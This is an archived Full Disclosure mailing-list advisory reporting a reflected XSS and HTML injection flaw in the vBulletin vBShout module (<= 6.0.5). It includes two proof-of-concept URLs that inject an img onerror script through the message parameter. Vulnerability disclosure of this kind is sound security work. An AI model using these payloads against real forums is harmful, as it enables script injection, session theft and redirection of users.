Full Disclosure mailing list archives
vBulletin vBShout Module <= 6.0.5 (vbshout.php?message=) - Reflected Cross-Site Scripting ( XSS ) & HTML Injection
From: d3v1l <d3v1l.securityshell () gmail com>
Date: Sun, 25 Mar 2012 18:04:19 +0300
############################################################################################################### # Title: vBulletin vBShout Module <= 6.0.5 (vbshout.php?message=) - Reflected Cross-Site Scripting ( XSS ) # Note: HTML Injection and Redirect works too # Script Page : http://www.dragonbyte-tech.com # Date: 24-03-2012 # Author : Avram Marius Gabriel (d3v1l) # RandomStorm - http://www.randomstorm.com # Tested on: Windows XP & Vista ############################################################################################################### # The last version of vBulletin vBShout Module suffers from Cross-Site Scripting and HTML Injection The issue is located in Shoutbox Search Archive # POC: # http://www.site.com/vbshout.php?message="><textarea><!-- </textarea><img src=1 onerror=alert("XSS")>&username=&hours=&from[month]=0&from[day]=&from[year] =0&end[month]=0&end[day]=&end[year]=0&chatroomid=0&orderby=DESC&perpage=5&s=&do=archive&instanceid=1 # http://www.site.com/vbshout.php?message="><textarea><!-- </textarea><img src=1 onerror=alert("XSS")>&s=&do=archive&instanceid=1 ################################################################################################################ # vBShout is the ideal way to keep members on your forum while they wait for replies to their posts. It can be used in many ways - as a chat room for members, for staff to discuss issues in realtime, as a live-update feed of new posts and threads, as a way to track member milestones ################################################################################################################ -- Check My Blog <http://security-sh3ll.blogspot.com> or Follow me on Twitter<http://twitter.com/securityshell>
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- vBulletin vBShout Module <= 6.0.5 (vbshout.php?message=) - Reflected Cross-Site Scripting ( XSS ) & HTML Injection d3v1l (Mar 26)